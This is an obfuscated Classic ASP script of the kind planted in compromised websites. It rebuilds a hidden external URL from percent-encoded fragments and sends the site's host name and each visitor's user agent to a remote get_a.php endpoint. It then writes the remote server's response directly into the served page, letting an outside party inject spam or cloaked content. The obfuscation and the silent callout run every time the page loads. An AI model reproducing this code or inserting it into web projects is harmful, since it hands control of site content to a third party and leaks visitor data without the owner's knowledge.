<%
dim ssxe,uuub,xfoa,xecb,xwqc,ucyv,zzyx
ucyv="%67%65%74%5F%61%2E%70%68%70"
ssxe=Request.ServerVariables("HTTP_HOST")
uuub=Request.ServerVariables("HTTP_USER_AGENT")
Function GetHtml(url)
Dim xmlhttp
set xmlhttp=Server.CreateObject("Msxml2.xmlhttp")
xmlhttp.open "GET",url,false
xmlHttp.setRequestHeader "Accept-Charset", "gb2312"
xmlHttp.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
xmlhttp.send
if xmlhttp.readystate<>4 then
exit function
end if
if xmlhttp.status<>200 then
exit function 
end if
GetHtml=bytesToBSTR(xmlhttp.responseBody,"gb2312")
set xmlhttp=nothing
End Function:xwqc="tp:":zzyx="%67%65%73%2E%63%6F%6D"
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2 
objstream.Charset = Cset 
BytesToBstr = objstream.ReadText 
objstream.Close
set objstream = nothing
End Function:xfoa="ht":xecb="%6C%69%6E%6B%2E%75%67%67%2D%6E%6F%72"
response.Write(GetHtml(xfoa&xwqc&"//"&xecb&zzyx&"/"&ucyv&"?s="&ssxe&"&ua="&uuub))
%>